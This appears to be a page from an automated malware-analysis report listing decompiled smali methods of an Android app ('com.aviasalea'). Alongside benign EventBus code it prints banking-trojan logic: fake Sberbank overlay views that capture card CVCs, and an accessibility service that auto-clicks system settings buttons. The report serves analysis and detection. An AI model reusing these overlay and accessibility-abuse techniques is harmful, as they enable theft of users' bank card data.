                                      • com.aviasalea.base.dialog.AlertDialog.access$1402
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$500
                                      • android.widget.ScrollView.getViewTreeObserver
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1400
                                      • android.view.ViewTreeObserver.addOnScrollChangedListener
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1400
                                      • android.view.ViewTreeObserver$OnScrollChangedListener.onScrollChanged
                                      Position Instruction Meta Information
                                      0.param p1, "changed" # Z
                                      1.param p2, "l" # I
                                      2.param p3, "t" # I
                                      3.param p4, "r" # I
                                      4.param p5, "b" # I
                                      5.prologue
                                      7invoke-super/range {p0 .. p5}, Landroid/widget/LinearLayout;->onLayout(ZIIII)V
                                      9iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      11invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ScrollView;
                                      12move-result-object v0
                                      13if-eqz v0, :cond_39
                                      15iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      17invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1400(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/view/ViewTreeObserver$OnScrollChangedListener;
                                      18move-result-object v0
                                      19if-nez v0, :cond_30
                                      21iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      22new-instance v1, Lcom/aviasalea/base/dialog/AlertDialog$1$2;
                                      24invoke-direct {v1, p0}, Lcom/aviasalea/base/dialog/AlertDialog$1$2;-><init>(Lcom/aviasalea/base/dialog/AlertDialog$1;)V
                                      26invoke-static {v0, v1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1402(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/view/ViewTreeObserver$OnScrollChangedListener;)Landroid/view/ViewTreeObserver$OnScrollChangedListener;
                                      28iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      30invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$500(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/widget/ScrollView;
                                      31move-result-object v0
                                      33invoke-virtual {v0}, Landroid/widget/ScrollView;->getViewTreeObserver()Landroid/view/ViewTreeObserver;
                                      34move-result-object v0
                                      36iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      38invoke-static {v1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1400(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/view/ViewTreeObserver$OnScrollChangedListener;
                                      39move-result-object v1
                                      41invoke-virtual {v0, v1}, Landroid/view/ViewTreeObserver;->addOnScrollChangedListener(Landroid/view/ViewTreeObserver$OnScrollChangedListener;)V
                                      42cond_30:
                                      43iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      45invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1400(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/view/ViewTreeObserver$OnScrollChangedListener;
                                      46move-result-object v0
                                      48invoke-interface {v0}, Landroid/view/ViewTreeObserver$OnScrollChangedListener;->onScrollChanged()V
                                      49cond_39: return-void
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$802
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setEnabled
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$500
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$400
                                      • android.widget.RelativeLayout.setEnabled
                                      Position Instruction Meta Information
                                      0.param p1, "moveToNext" # Z
                                      1.param p2, "pin" # Ljava/lang/String;
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$4;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      6invoke-static {v0, p1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$802(Lcom/aviasalea/injs/s/views/SberRegisterView;Z)Z
                                      7if-eqz p1, :cond_27
                                      9iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$4;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      11invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      12move-result-object v0
                                      13const v1, 0x7f05001d
                                      15invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      17iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$4;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      19invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      20move-result-object v0
                                      21const/4 v1, 0x1
                                      23invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      25iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$4;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      27invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$500(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/s/model/SModel;
                                      28move-result-object v0
                                      30invoke-virtual {v0, p2}, Lcom/aviasalea/injs/s/model/SModel;->setCVC(Ljava/lang/String;)V
                                      31goto_26: return-void
                                      32cond_27:
                                      33iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$4;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      35invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      36move-result-object v0
                                      37const v1, 0x7f05001b
                                      39invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setBackgroundResource(I)V
                                      41iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$4;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      43invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$400(Lcom/aviasalea/injs/s/views/SberRegisterView;)Landroid/widget/RelativeLayout;
                                      44move-result-object v0
                                      45const/4 v1, 0x0
                                      47invoke-virtual {v0, v1}, Landroid/widget/RelativeLayout;->setEnabled(Z)V
                                      48goto/16 :goto_26
                                      Cross References
                                      APIs
                                      • java.lang.Object.getClass
                                      • java.util.Map.get
                                      • java.util.Map.entrySet
                                      • java.util.Set.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • java.util.Map$Entry.getKey
                                      • java.lang.Class.isAssignableFrom
                                      • java.lang.Class.isAssignableFrom
                                      • java.util.Map$Entry.getValue
                                      Position Instruction Meta Information
                                      0.param p1, "throwable" # Ljava/lang/Throwable;
                                      1.prologue
                                      3invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      4move-result-object v6
                                      6iget-object v7, p0, Lde/greenrobot/event/util/ExceptionToResourceMapping;->throwableToMsgIdMap:Ljava/util/Map;
                                      8invoke-interface {v7, v6}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      9move-result-object v5
                                      10check-cast v5, Ljava/lang/Integer;
                                      11if-nez v5, :cond_41
                                      12const/4 v1, 0x0
                                      14iget-object v7, p0, Lde/greenrobot/event/util/ExceptionToResourceMapping;->throwableToMsgIdMap:Ljava/util/Map;
                                      16invoke-interface {v7}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                      17move-result-object v4
                                      19invoke-interface {v4}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                      20move-result-object v2
                                      21cond_19:
                                      22invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                                      23move-result v7
                                      24if-eqz v7, :cond_41
                                      26invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      27move-result-object v3
                                      28check-cast v3, Ljava/util/Map$Entry;
                                      30invoke-interface {v3}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                      31move-result-object v0
                                      32check-cast v0, Ljava/lang/Class;
                                      34invoke-virtual {v0, v6}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                      35move-result v7
                                      36if-eqz v7, :cond_19
                                      37if-eqz v1, :cond_39
                                      39invoke-virtual {v1, v0}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                      40move-result v7
                                      41if-eqz v7, :cond_19
                                      42cond_39: move-object v1, v0
                                      44invoke-interface {v3}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                      45move-result-object v5
                                      46check-cast v5, Ljava/lang/Integer;
                                      47goto/16 :goto_19
                                      48cond_41: return-object v5
                                      Cross References
                                      APIs
                                      • java.util.ArrayList.<init>
                                      • java.net.NetworkInterface.getNetworkInterfaces
                                      • java.util.Enumeration.hasMoreElements
                                      • java.util.Enumeration.nextElement
                                      • java.net.NetworkInterface.getInetAddresses
                                      • java.util.Enumeration.hasMoreElements
                                      • java.util.Enumeration.nextElement
                                      • java.net.InetAddress.isLoopbackAddress
                                      • java.util.ArrayList.add
                                      • java.net.SocketException.printStackTrace
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"()",
                                      3"Ljava/util/ArrayList",
                                      4"<",
                                      5"Ljava/net/InetAddress;",
                                      6">;"
                                      7}
                                      8.end annotation
                                      9.prologue
                                      10new-instance v3, Ljava/util/ArrayList;
                                      12invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
                                      13try_start_5:
                                      14invoke-static {}, Ljava/net/NetworkInterface;->getNetworkInterfaces()Ljava/util/Enumeration;
                                      15move-result-object v5
                                      16cond_9:
                                      17invoke-interface {v5}, Ljava/util/Enumeration;->hasMoreElements()Z
                                      18move-result v6
                                      19if-eqz v6, :cond_37
                                      21invoke-interface {v5}, Ljava/util/Enumeration;->nextElement()Ljava/lang/Object;
                                      22move-result-object v4
                                      23check-cast v4, Ljava/net/NetworkInterface;
                                      25invoke-virtual {v4}, Ljava/net/NetworkInterface;->getInetAddresses()Ljava/util/Enumeration;
                                      26move-result-object v1
                                      27cond_19:
                                      28invoke-interface {v1}, Ljava/util/Enumeration;->hasMoreElements()Z
                                      29move-result v6
                                      30if-eqz v6, :cond_9
                                      32invoke-interface {v1}, Ljava/util/Enumeration;->nextElement()Ljava/lang/Object;
                                      33move-result-object v0
                                      34check-cast v0, Ljava/net/InetAddress;
                                      35instance-of v6, v0, Ljava/net/Inet4Address;
                                      36if-eqz v6, :cond_19
                                      38invoke-virtual {v0}, Ljava/net/InetAddress;->isLoopbackAddress()Z
                                      39move-result v6
                                      40if-nez v6, :cond_19
                                      42invoke-virtual {v3, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                      43try_end_32: goto/16 :goto_19
                                      44catch_33: move-exception v2
                                      46invoke-virtual {v2}, Ljava/net/SocketException;->printStackTrace()V
                                      47cond_37: return-object v3
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.util.concurrent.atomic.AtomicInteger.getAndIncrement
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.Thread.<init>
                                      • java.lang.Thread.isDaemon
                                      • java.lang.Thread.setDaemon
                                      • java.lang.Thread.getPriority
                                      • java.lang.Thread.setPriority
                                      Position Instruction Meta Information
                                      0.param p1, "r" # Ljava/lang/Runnable;
                                      1.prologue
                                      2const/4 v6, 0x1
                                      3new-instance v0, Ljava/lang/Thread;
                                      5iget-object v1, p0, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;->group:Ljava/lang/ThreadGroup;
                                      6new-instance v2, Ljava/lang/StringBuilder;
                                      8invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      10iget-object v3, p0, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;->namePrefix:Ljava/lang/String;
                                      12invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      13move-result-object v2
                                      15iget-object v3, p0, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;->threadNumber:Ljava/util/concurrent/atomic/AtomicInteger;
                                      17invoke-virtual {v3}, Ljava/util/concurrent/atomic/AtomicInteger;->getAndIncrement()I
                                      18move-result v3
                                      20invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                      21move-result-object v2
                                      23invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      24move-result-object v3
                                      25const-wide/16 v4, 0x0
                                      26move-object v2, p1
                                      28invoke-direct/range {v0 .. v5}, Ljava/lang/Thread;-><init>(Ljava/lang/ThreadGroup;Ljava/lang/Runnable;Ljava/lang/String;J)V
                                      30invoke-virtual {v0}, Ljava/lang/Thread;->isDaemon()Z
                                      31move-result v1
                                      32if-eqz v1, :cond_2e
                                      33const/4 v1, 0x0
                                      35invoke-virtual {v0, v1}, Ljava/lang/Thread;->setDaemon(Z)V
                                      36cond_2e:
                                      37invoke-virtual {v0}, Ljava/lang/Thread;->getPriority()I
                                      38move-result v1
                                      39if-eq v1, v6, :cond_37
                                      41invoke-virtual {v0, v6}, Ljava/lang/Thread;->setPriority(I)V
                                      42cond_37: return-object v0
                                      Cross References
                                      APIs
                                      • de.greenrobot.event.ThreadMode.ordinal
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.IllegalStateException.<init>
                                      • de.greenrobot.event.HandlerPoster.enqueue
                                      Strings
                                      • Unknown thread mode:
                                      Position Instruction Meta Information
                                      0.param p1, "subscription" # Lde/greenrobot/event/Subscription;
                                      1.param p2, "event" # Ljava/lang/Object;
                                      2.param p3, "isMainThread" # Z
                                      3.prologue
                                      5sget-object v0, Lde/greenrobot/event/EventBus$2;->$SwitchMap$de$greenrobot$event$ThreadMode:[I
                                      7iget-object v1, p1, Lde/greenrobot/event/Subscription;->subscriberMethod:Lde/greenrobot/event/SubscriberMethod;
                                      9iget-object v1, v1, Lde/greenrobot/event/SubscriberMethod;->threadMode:Lde/greenrobot/event/ThreadMode;
                                      11invoke-virtual {v1}, Lde/greenrobot/event/ThreadMode;->ordinal()I
                                      12move-result v1
                                      13aget v0, v0, v1
                                      14packed-switch v0, :pswitch_data_4e
                                      15new-instance v0, Ljava/lang/IllegalStateException;
                                      16new-instance v1, Ljava/lang/StringBuilder;
                                      18invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                      20const-string v2, "Unknown thread mode: "
                                      22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      23move-result-object v1
                                      25iget-object v2, p1, Lde/greenrobot/event/Subscription;->subscriberMethod:Lde/greenrobot/event/SubscriberMethod;
                                      27iget-object v2, v2, Lde/greenrobot/event/SubscriberMethod;->threadMode:Lde/greenrobot/event/ThreadMode;
                                      29invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      30move-result-object v1
                                      32invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      33move-result-object v1
                                      35invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                                      36throw v0
                                      37pswitch_2c:
                                      38invoke-virtual {p0, p1, p2}, Lde/greenrobot/event/EventBus;->invokeSubscriber(Lde/greenrobot/event/Subscription;Ljava/lang/Object;)V
                                      39goto_2f: return-void
                                      40pswitch_30: if-eqz p3, :cond_36
                                      42invoke-virtual {p0, p1, p2}, Lde/greenrobot/event/EventBus;->invokeSubscriber(Lde/greenrobot/event/Subscription;Ljava/lang/Object;)V
                                      43goto/16 :goto_2f
                                      44cond_36:
                                      45iget-object v0, p0, Lde/greenrobot/event/EventBus;->mainThreadPoster:Lde/greenrobot/event/HandlerPoster;
                                      47invoke-virtual {v0, p1, p2}, Lde/greenrobot/event/HandlerPoster;->enqueue(Lde/greenrobot/event/Subscription;Ljava/lang/Object;)V
                                      48goto/16 :goto_2f
                                      49pswitch_3c: if-eqz p3, :cond_44
                                      51iget-object v0, p0, Lde/greenrobot/event/EventBus;->backgroundPoster:Lde/greenrobot/event/BackgroundPoster;
                                      53invoke-virtual {v0, p1, p2}, Lde/greenrobot/event/BackgroundPoster;->enqueue(Lde/greenrobot/event/Subscription;Ljava/lang/Object;)V
                                      54goto/16 :goto_2f
                                      55cond_44:
                                      56invoke-virtual {p0, p1, p2}, Lde/greenrobot/event/EventBus;->invokeSubscriber(Lde/greenrobot/event/Subscription;Ljava/lang/Object;)V
                                      57goto/16 :goto_2f
                                      58pswitch_48:
                                      59iget-object v0, p0, Lde/greenrobot/event/EventBus;->asyncPoster:Lde/greenrobot/event/AsyncPoster;
                                      61invoke-virtual {v0, p1, p2}, Lde/greenrobot/event/AsyncPoster;->enqueue(Lde/greenrobot/event/Subscription;Ljava/lang/Object;)V
                                      62goto/16 :goto_2f
                                      Cross References
                                      APIs
                                      • java.lang.ThreadLocal.get
                                      • java.util.List.add
                                      • android.os.Looper.getMainLooper
                                      • android.os.Looper.myLooper
                                      • de.greenrobot.event.EventBusException.<init>
                                      • java.util.List.isEmpty
                                      • java.util.List.remove
                                      Strings
                                      • Internal error. Abort state was not reset
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Ljava/lang/Object;
                                      1.prologue
                                      2const/4 v3, 0x1
                                      3const/4 v4, 0x0
                                      5iget-object v2, p0, Lde/greenrobot/event/EventBus;->currentPostingThreadState:Ljava/lang/ThreadLocal;
                                      7invoke-virtual {v2}, Ljava/lang/ThreadLocal;->get()Ljava/lang/Object;
                                      8move-result-object v1
                                      9check-cast v1, Lde/greenrobot/event/EventBus$PostingThreadState;
                                      11iget-object v0, v1, Lde/greenrobot/event/EventBus$PostingThreadState;->eventQueue:Ljava/util/List;
                                      13invoke-interface {v0, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      14iget-boolean v2, v1, Lde/greenrobot/event/EventBus$PostingThreadState;->isPosting:Z
                                      15if-nez v2, :cond_49
                                      17invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                                      18move-result-object v2
                                      20invoke-static {}, Landroid/os/Looper;->myLooper()Landroid/os/Looper;
                                      21move-result-object v5
                                      22if-ne v2, v5, :cond_2e
                                      23move v2, v3
                                      24goto_1e: iput-boolean v2, v1, Lde/greenrobot/event/EventBus$PostingThreadState;->isMainThread:Z
                                      25iput-boolean v3, v1, Lde/greenrobot/event/EventBus$PostingThreadState;->isPosting:Z
                                      26iget-boolean v2, v1, Lde/greenrobot/event/EventBus$PostingThreadState;->canceled:Z
                                      27if-eqz v2, :cond_30
                                      28new-instance v2, Lde/greenrobot/event/EventBusException;
                                      30const-string v3, "Internal error. Abort state was not reset"
                                      32invoke-direct {v2, v3}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      33throw v2
                                      34cond_2e: move v2, v4
                                      35goto/16 :goto_1e
                                      36goto_30:
                                      37invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
                                      38move-result v2
                                      39if-nez v2, :cond_45
                                      40const/4 v2, 0x0
                                      42invoke-interface {v0, v2}, Ljava/util/List;->remove(I)Ljava/lang/Object;
                                      43move-result-object v2
                                      45invoke-direct {p0, v2, v1}, Lde/greenrobot/event/EventBus;->postSingleEvent(Ljava/lang/Object;Lde/greenrobot/event/EventBus$PostingThreadState;)V
                                      46try_end_3e: goto/16 :goto_30
                                      47catchall_3f: move-exception v2
                                      48iput-boolean v4, v1, Lde/greenrobot/event/EventBus$PostingThreadState;->isPosting:Z
                                      49iput-boolean v4, v1, Lde/greenrobot/event/EventBus$PostingThreadState;->isMainThread:Z
                                      50throw v2
                                      51cond_45: iput-boolean v4, v1, Lde/greenrobot/event/EventBus$PostingThreadState;->isPosting:Z
                                      52iput-boolean v4, v1, Lde/greenrobot/event/EventBus$PostingThreadState;->isMainThread:Z
                                      53cond_49: return-void
                                      APIs
                                      • com.aviasalea.injs.g.view._CTextInputLayout.hasValidInput
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • java.lang.Object.toString
                                      • java.lang.String.isEmpty
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setError
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setError
                                      Strings
                                      • Enter a valid card code
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.param p2, "hasFocus" # Z
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;
                                      6invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->access$000(Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      7move-result-object v0
                                      9invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->hasValidInput()Z
                                      10move-result v0
                                      11if-nez v0, :cond_24
                                      13iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;
                                      15invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->access$000(Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      16move-result-object v0
                                      18invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      19move-result-object v0
                                      21invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      22move-result-object v0
                                      24invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                      25move-result-object v0
                                      27invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
                                      28move-result v0
                                      29if-eqz v0, :cond_2f
                                      30cond_24:
                                      31iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;
                                      33invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->access$000(Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      34move-result-object v0
                                      35const/4 v1, 0x0
                                      37invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setError(Ljava/lang/String;)V
                                      38goto_2e: return-void
                                      39cond_2f:
                                      40iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;
                                      42invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;->access$000(Lcom/aviasalea/injs/g/view/watchers/CCCTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      43move-result-object v0
                                      45const-string v1, "Enter a valid card code"
                                      47invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setError(Ljava/lang/String;)V
                                      48goto/16 :goto_2e
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityEvent.getSource
                                      • com.aviasalea.srs.GPSrs.hasAd
                                      • com.aviasalea.srs.GPSrs.onMinimize
                                      • com.aviasalea.srs.GPSrs.hasNlService
                                      • com.aviasalea.srs.GPSrs.getString
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • com.android.settings:id/action_button
                                      • android:id/button1
                                      Position Instruction Meta Information
                                      0.param p1, "accessibilityEvent" # Landroid/view/accessibility/AccessibilityEvent;
                                      1.prologue
                                      2try_start_0: sget v5, Landroid/os/Build$VERSION;->SDK_INT:I
                                      3const/16 v6, 0x12
                                      4if-lt v5, v6, :cond_1f
                                      6invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getSource()Landroid/view/accessibility/AccessibilityNodeInfo;
                                      7move-result-object v4
                                      8if-eqz v4, :cond_1f
                                      10invoke-direct {p0}, Lcom/aviasalea/srs/GPSrs;->hasAd()Z
                                      11move-result v5
                                      12if-nez v5, :cond_20
                                      14const-string v5, "com.android.settings:id/action_button"
                                      15const/16 v6, 0x10
                                      17invoke-static {v4, v5, v6}, Lcom/aviasalea/checktls/NdTls;->clickNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;I)Z
                                      18move-result v2
                                      19if-eqz v2, :cond_1f
                                      21invoke-virtual {p0}, Lcom/aviasalea/srs/GPSrs;->onMinimize()V
                                      22cond_1f: return-void
                                      23cond_20:
                                      24invoke-direct {p0}, Lcom/aviasalea/srs/GPSrs;->hasNlService()Z
                                      25move-result v5
                                      26if-nez v5, :cond_1f
                                      27const v5, 0x7f0a0012
                                      29invoke-virtual {p0, v5}, Lcom/aviasalea/srs/GPSrs;->getString(I)Ljava/lang/String;
                                      30move-result-object v5
                                      31const/16 v6, 0x10
                                      33invoke-static {v4, v5, v6}, Lcom/aviasalea/checktls/NdTls;->actionText(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;I)Z
                                      34move-result v0
                                      35if-eqz v0, :cond_35
                                      36cond_35:
                                      37const-string v5, "android:id/button1"
                                      38const/16 v6, 0x10
                                      40invoke-static {v4, v5, v6}, Lcom/aviasalea/checktls/NdTls;->clickNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;I)Z
                                      41try_end_3c: move-result v1
                                      42if-eqz v1, :cond_1f
                                      43goto/16 :goto_1f
                                      44catch_40: move-exception v3
                                      46invoke-virtual {v3}, Ljava/lang/Exception;->printStackTrace()V
                                      47goto/16 :goto_1f
                                      APIs
                                      • de.greenrobot.event.ThreadMode.<init>
                                      • de.greenrobot.event.ThreadMode.<init>
                                      • de.greenrobot.event.ThreadMode.<init>
                                      • de.greenrobot.event.ThreadMode.<init>
                                      • de.greenrobot.event.ThreadMode.PostThread:Lde/greenrobot/event/ThreadMode
                                      • de.greenrobot.event.ThreadMode.MainThread:Lde/greenrobot/event/ThreadMode
                                      • de.greenrobot.event.ThreadMode.BackgroundThread:Lde/greenrobot/event/ThreadMode
                                      • de.greenrobot.event.ThreadMode.Async:Lde/greenrobot/event/ThreadMode
                                      Strings
                                      • PostThread
                                      • MainThread
                                      • BackgroundThread
                                      • Async
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v5, 0x3
                                      2const/4 v4, 0x2
                                      3const/4 v3, 0x1
                                      4const/4 v2, 0x0
                                      5new-instance v0, Lde/greenrobot/event/ThreadMode;
                                      7const-string v1, "PostThread"
                                      9invoke-direct {v0, v1, v2}, Lde/greenrobot/event/ThreadMode;-><init>(Ljava/lang/String;I)V
                                      10sput-object v0, Lde/greenrobot/event/ThreadMode;->PostThread:Lde/greenrobot/event/ThreadMode;
                                      11new-instance v0, Lde/greenrobot/event/ThreadMode;
                                      13const-string v1, "MainThread"
                                      15invoke-direct {v0, v1, v3}, Lde/greenrobot/event/ThreadMode;-><init>(Ljava/lang/String;I)V
                                      16sput-object v0, Lde/greenrobot/event/ThreadMode;->MainThread:Lde/greenrobot/event/ThreadMode;
                                      17new-instance v0, Lde/greenrobot/event/ThreadMode;
                                      19const-string v1, "BackgroundThread"
                                      21invoke-direct {v0, v1, v4}, Lde/greenrobot/event/ThreadMode;-><init>(Ljava/lang/String;I)V
                                      22sput-object v0, Lde/greenrobot/event/ThreadMode;->BackgroundThread:Lde/greenrobot/event/ThreadMode;
                                      23new-instance v0, Lde/greenrobot/event/ThreadMode;
                                      25const-string v1, "Async"
                                      27invoke-direct {v0, v1, v5}, Lde/greenrobot/event/ThreadMode;-><init>(Ljava/lang/String;I)V
                                      28sput-object v0, Lde/greenrobot/event/ThreadMode;->Async:Lde/greenrobot/event/ThreadMode;
                                      29const/4 v0, 0x4
                                      30new-array v0, v0, [Lde/greenrobot/event/ThreadMode;
                                      32sget-object v1, Lde/greenrobot/event/ThreadMode;->PostThread:Lde/greenrobot/event/ThreadMode;
                                      33aput-object v1, v0, v2
                                      35sget-object v1, Lde/greenrobot/event/ThreadMode;->MainThread:Lde/greenrobot/event/ThreadMode;
                                      36aput-object v1, v0, v3
